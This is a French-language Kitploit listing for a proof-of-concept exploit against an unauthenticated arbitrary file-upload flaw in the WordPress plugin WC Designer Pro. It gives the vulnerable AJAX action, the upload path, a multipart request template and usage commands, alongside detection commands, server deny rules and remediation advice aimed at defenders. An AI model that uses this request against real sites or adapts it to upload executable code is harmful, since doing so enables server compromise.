Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-6440-Poc-Exploit — Exploit d'exécution de code à distance non authentifié pour le plugin WordPress WC Designer Pro. Automatise la détection, le téléchargement de fichiers et l'accès au shell via un point de terminaison AJAX vulnérable. | Kitploit
Outils/GitHubGitHub/m2hcz/cve-2025-6440-poc-exploit
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionRed Teaming
GitHubm2hcz/cve-2025-6440-poc-exploit

CVE-2025-6440-Poc-Exploit

Exploit d'exécution de code à distance non authentifié pour le plugin WordPress WC Designer Pro. Automatise la détection, le téléchargement de fichiers et l'accès au shell via un point de terminaison AJAX vulnérable.

Voir le dépôt
122il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

WC Designer Pro — Téléversement de fichier arbitraire non authentifié

Preuve de concept de recherche en sécurité

Python WordPress Research

CWE Severity Authentication

Une preuve de concept non destructive pour une vulnérabilité de téléversement de fichier arbitraire non authentifié affectant le plugin WordPress WC Designer Pro.


Table des matières

  • Présentation de la vulnérabilité
  • Impact sur la sécurité
  • Versions concernées
  • Cause racine
  • Déroulement de l'attaque
  • Prérequis
  • Installation
  • Utilisation
  • Détails techniques
  • Vérification sûre
  • Indicateurs d'exposition
  • Remédiation
  • Utilisation légale et éthique
  • Statut de divulgation
  • Références
  • Crédits

Présentation de la vulnérabilité

WC Designer Pro contient une vulnérabilité de téléversement de fichier arbitraire non authentifié dans une action AJAX exposée via le point de terminaison admin-ajax.php de WordPress.

Le gestionnaire concerné traite les métadonnées de fichier contrôlées par l'utilisateur et le contenu des fichiers sans appliquer une authentification, une autorisation, une validation d'extension, une validation du type MIME ou des restrictions de nom de fichier côté serveur adéquates.

Dans des configurations vulnérables, un attaquant non authentifié peut être en mesure de téléverser un fichier exécutable par le serveur dans un répertoire accessible via le web. Une exploitation réussie peut entraîner l'exécution de code à distance sous les privilèges du processus du serveur web.

PropriétéValeur
ProduitWC Designer Pro
PlateformeWordPress
Classe de vulnérabilitéTéléversement de fichier arbitraire sans restriction
CWECWE-434
Authentification requiseNon
Interaction utilisateur requiseNon
Impact potentielExécution de code à distance
Complexité de l'attaqueFaible
Composant vulnérableGestionnaire de téléversement AJAX de WordPress
Action AJAXwcdp_save_canvas_design_ajax

La plage exacte de versions concernées, l'identifiant CVE et le score CVSS ne doivent être publiés qu'après avoir été vérifiés de manière indépendante.


Impact sur la sécurité

Une exploitation réussie pourrait permettre à un attaquant non authentifié de :

  • Téléverser des fichiers non autorisés sur l'installation WordPress.
  • Stocker des fichiers dans un répertoire de téléversements accessible publiquement.
  • Exécuter du code côté serveur lorsque les extensions exécutables sont acceptées.
  • Lire ou modifier des données accessibles au compte du serveur web.
  • Compromettre l'installation WordPress concernée.
  • Utiliser le serveur compromis comme point de pivot pour d'autres attaques.

L'impact final dépend de la configuration du serveur web, des règles d'exécution PHP, des permissions du système de fichiers et des contrôles de sécurité déployés par le fournisseur d'hébergement.


Versions concernées

La plage de versions concernées est actuellement en cours de validation.

root@kitploit:~
Produit : WC Designer Pro
Versions concernées : À confirmer
Version corrigée : À confirmer
Statut du correctif : À confirmer

N'affirmez pas que toutes les versions sont concernées, sauf si des tests ou une confirmation du fournisseur soutiennent cette conclusion.


Cause racine

Le flux de téléversement vulnérable semble faire confiance aux valeurs contrôlées par l'attaquant fournies à l'action AJAX suivante :

root@kitploit:~
wcdp_save_canvas_design_ajax

La requête contient des métadonnées de fichier telles que :

  • L'extension du fichier
  • L'identifiant du fichier
  • L'identifiant de destination
  • Le contenu du fichier téléversé

La vulnérabilité existe lorsque le serveur accepte ces valeurs sans effectuer tous les contrôles suivants :

  1. Vérifications d'authentification et d'autorisation.
  2. Validation du nonce WordPress.
  3. Liste blanche stricte des extensions.
  4. Validation du type MIME basée sur le contenu du fichier.
  5. Normalisation et assainissement du nom de fichier.
  6. Application d'une destination de téléversement non exécutable.
  7. Prévention de l'accès web direct aux fichiers temporaires.

Déroulement de l'attaque

root@kitploit:~
Requête non authentifiée
          │
          ▼
/wp-admin/admin-ajax.php
          │
          ▼
action=wcdp_save_canvas_design_ajax
          │
          ▼
Validation insuffisante du fichier téléversé
          │
          ▼
Fichier écrit dans un répertoire accessible via le web
          │
          ▼
Exécution potentielle de code côté serveur

Le chemin de téléversement observé suit cette structure :

root@kitploit:~
/wp-content/uploads/wcdp-uploads/temp/{identifiant}/{nom_du_fichier}

Le chemin exact peut varier selon la version du plugin, la configuration WordPress et l'environnement serveur.


Prérequis

  • Python 3.8 ou plus récent
  • pip
  • Un environnement de laboratoire WordPress
  • Une cible autorisée
  • Une installation vulnérable de WC Designer Pro

Cette preuve de concept ne doit pas être utilisée contre des systèmes tiers sans autorisation écrite explicite.


Installation

Clonez le dépôt :

root@kitploit:~
git clone https://github.com/m2hcz/wcdp-security-poc.git
cd wcdp-security-poc

Créez et activez un environnement virtuel :

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate

Sous Windows :

root@kitploit:~
python -m venv .venv
.venv\Scripts\Activate.ps1

Installez les dépendances :

root@kitploit:~
pip install -r requirements.txt

Exemple de requirements.txt :

root@kitploit:~
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0

Utilisation

La preuve de concept ne doit être exécutée que contre une seule cible de laboratoire autorisée.

root@kitploit:~
python3 exploit.py --url https://wordpress-lab.example

Pour une vérification non destructive :

root@kitploit:~
python3 exploit.py \
  --url https://wordpress-lab.example \
  --file ./payloads/verification.txt

Exemple de fichier de vérification :

root@kitploit:~
Vérification de sécurité WC Designer Pro
Chercheur : m2hcz
Objectif : Test non destructif autorisé

Utilisez la commande d'aide intégrée pour afficher les arguments pris en charge :

root@kitploit:~
python3 exploit.py --help

Exemple de sortie :

root@kitploit:~
usage: exploit.py [-h] --url URL [--file FILE] [--timeout SECONDS]

PoC de vérification de téléversement de fichier arbitraire WC Designer Pro

options:
  -h, --help         affiche ce message d'aide et quitte
  --url URL          cible WordPress autorisée
  --file FILE        fichier de vérification inoffensif
  --timeout SECONDS  délai d'expiration de la requête HTTP

Détails techniques

Point de terminaison vulnérable

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: wordpress-lab.example
Content-Type: multipart/form-data; boundary=----Boundary

La requête invoque :

root@kitploit:~
action=wcdp_save_canvas_design_ajax

Une structure de requête simplifiée est présentée ci-dessous :

root@kitploit:~
------Boundary
Content-Disposition: form-data; name="action"

wcdp_save_canvas_design_ajax
------Boundary
Content-Disposition: form-data; name="params"

{
  "mode": "save",
  "editor": "frontend",
  "uniq": "research-verification",
  "files": [
    {
      "name": "verification",
      "ext": "txt",
      "count": "file1"
    }
  ]
}
------Boundary
Content-Disposition: form-data; name="file1"; filename="verification.txt"
Content-Type: text/plain

Vérification de sécurité autorisée
------Boundary--

Cet exemple utilise intentionnellement un fichier texte non exécutable.

Réponse observée

Une requête réussie peut renvoyer une réponse similaire à :

root@kitploit:~
{
  "userID": false,
  "filesCMYK": [],
  "success": true
}

Une réponse réussie seule ne prouve pas l'exécution de code à distance. Le chercheur doit confirmer séparément que :

  1. Le fichier a été créé.
  2. Le fichier est accessible.
  3. Le répertoire de destination permet l'exécution côté serveur.
  4. Le test a été mené dans un environnement autorisé.

Vérification sûre

La procédure de vérification recommandée est la suivante :

  1. Déployez WordPress dans un environnement local isolé.
  2. Installez la version du plugin suspectée d'être vulnérable.
  3. Créez un fichier marqueur .txt inoffensif.
  4. Soumettez le marqueur en utilisant l'action AJAX concernée.
  5. Confirmez si le fichier a été stocké sans authentification.
  6. Enregistrez la requête et la réponse HTTP.
  7. Supprimez le fichier marqueur téléversé.
  8. Détruisez ou réinitialisez l'environnement de laboratoire.

Évitez de téléverser des shells web ou des charges utiles d'exécution de commandes lorsqu'un fichier marqueur inoffensif suffit à démontrer la vulnérabilité.

Preuves attendues

Un rapport valide doit contenir :

  • La version de WordPress.
  • La version de WC Designer Pro.
  • Les versions du serveur web et de PHP.
  • La requête HTTP complète.
  • La réponse HTTP complète.
  • Le chemin du fichier résultant.
  • La preuve qu'aucune session authentifiée n'a été utilisée.
  • Une capture d'écran ou un journal confirmant le marqueur téléversé.
  • La confirmation du nettoyage.

Indicateurs d'exposition

Les administrateurs doivent inspecter le répertoire suivant :

root@kitploit:~
/wp-content/uploads/wcdp-uploads/temp/

Les indicateurs potentiels incluent :

  • Des fichiers .php, .phtml, .phar ou autres fichiers exécutables inattendus.
  • Des sous-répertoires aux noms aléatoires.
  • Des fichiers créés par des utilisateurs inconnus.
  • Des requêtes vers admin-ajax.php utilisant l'action AJAX concernée.
  • Des requêtes HTTP accédant à des fichiers nouvellement créés dans le répertoire de téléversement temporaire.
  • Des processus enfants créés de manière inattendue par le processus PHP ou du serveur web.

Exemple de recherche dans les journaux :

root@kitploit:~
grep -R "wcdp_save_canvas_design_ajax" /var/log/nginx/ /var/log/apache2/

Exemple de recherche dans le système de fichiers :

root@kitploit:~
find wp-content/uploads/wcdp-uploads/temp \
  -type f \
  \( -name "*.php" -o -name "*.phtml" -o -name "*.phar" \)

Remédiation

Les administrateurs de sites doivent :

  1. Mettre à jour WC Designer Pro vers une version corrigée confirmée lorsqu'elle devient disponible.
  2. Désactiver et supprimer le plugin lorsqu'aucun correctif n'est disponible.
  3. Bloquer l'exécution de scripts côté serveur dans les répertoires de téléversement WordPress.
  4. Inspecter le répertoire de téléversement temporaire pour détecter des fichiers non autorisés.
  5. Examiner les journaux d'accès du serveur web pour détecter des tentatives d'exploitation.
  6. Renouveler les sels WordPress et les identifiants administratifs en cas de suspicion de compromission.
  7. Renouveler les identifiants de base de données, d'hébergement, FTP, SSH et API lorsque cela est pertinent.
  8. Reconstruire l'installation WordPress à partir de sources fiables après une compromission confirmée.

Configuration serveur recommandée

Pour Nginx, refusez l'exécution PHP dans les téléversements :

root@kitploit:~
location ~* /wp-content/uploads/.*\.php$ {
    deny all;
    return 403;
}

Pour Apache, placez une règle appropriée dans le répertoire de téléversements :

root@kitploit:~
<FilesMatch "\.(php|phtml|phar|php[0-9]*)$">
    Require all denied
</FilesMatch>

Ces contrôles sont des mesures de défense en profondeur et ne remplacent pas la correction du code vulnérable du plugin.

Contrôles au niveau du code recommandés

Les mainteneurs du plugin doivent :

  • Exiger une authentification lorsque cela est approprié.
  • Vérifier les capacités des utilisateurs avec current_user_can().
  • Exiger et valider un nonce WordPress.
  • Utiliser une liste blanche stricte des extensions autorisées.
  • Valider les fichiers avec wp_check_filetype_and_ext().
  • Générer des noms de fichiers côté serveur.
  • Stocker les fichiers temporaires en dehors de la racine web lorsque cela est possible.
  • Empêcher le stockage de contenu exécutable dans les répertoires de téléversement.
  • Renvoyer des erreurs génériques sans exposer les chemins internes.

Utilisation légale et éthique

Ce dépôt est destiné exclusivement à :

  • Des tests d'intrusion autorisés.
  • La recherche en vulnérabilités.
  • La validation défensive.
  • L'éducation à la sécurité.
  • La reproduction dans des environnements de laboratoire isolés.

N'utilisez pas ce code pour accéder, modifier, perturber ou compromettre des systèmes sans autorisation explicite.

L'auteur n'est pas responsable de l'utilisation non autorisée, illégale ou abusive de ce matériel. Les utilisateurs sont seuls responsables du respect des lois, contrats, règles d'engagement et exigences de divulgation coordonnée des vulnérabilités applicables.


Statut de divulgation

root@kitploit:~
Date de découverte :       À ajouter
Fournisseur contacté :     À ajouter
Réponse du fournisseur :   À ajouter
Correctif publié :         À ajouter
CVE demandé :              À ajouter
CVE attribué :             À ajouter
Divulgation publique :     À ajouter

Ne publiez pas un CVE provisoire comme s'il s'agissait d'un identifiant attribué.

Lorsqu'un CVE est attribué, remplacez le texte provisoire par l'enregistrement officiel :

root@kitploit:~
CVE : CVE-AAAA-NNNNN
CVSS : Évaluation officielle ou documentée par le chercheur

Références

  • Sécurité des plugins WordPress
  • Documentation AJAX WordPress
  • Aide-mémoire OWASP sur le téléversement de fichiers
  • OWASP Téléversement de fichier sans restriction
  • CWE-434 : Téléversement sans restriction de fichier de type dangereux

Crédits

m2hcz
Chercheur en sécurité offensive
GitHub · Portfolio

Journal des modifications

v1.0.0

  • Ajout du flux de vérification de la vulnérabilité.
  • Ajout de la prise en charge des fichiers marqueurs non destructifs.
  • Ajout de la détection du point de terminaison et de l'exposition du plugin.
  • Ajout de la collecte structurée des preuves.
  • Ajout de la gestion du délai d'expiration des requêtes et des erreurs.
  • Ajout de conseils de remédiation et de réponse aux incidents.

La recherche en sécurité doit réduire les risques, pas en créer.

Conçu pour des tests de sécurité autorisés par m2hcz.

Télécharger l’outil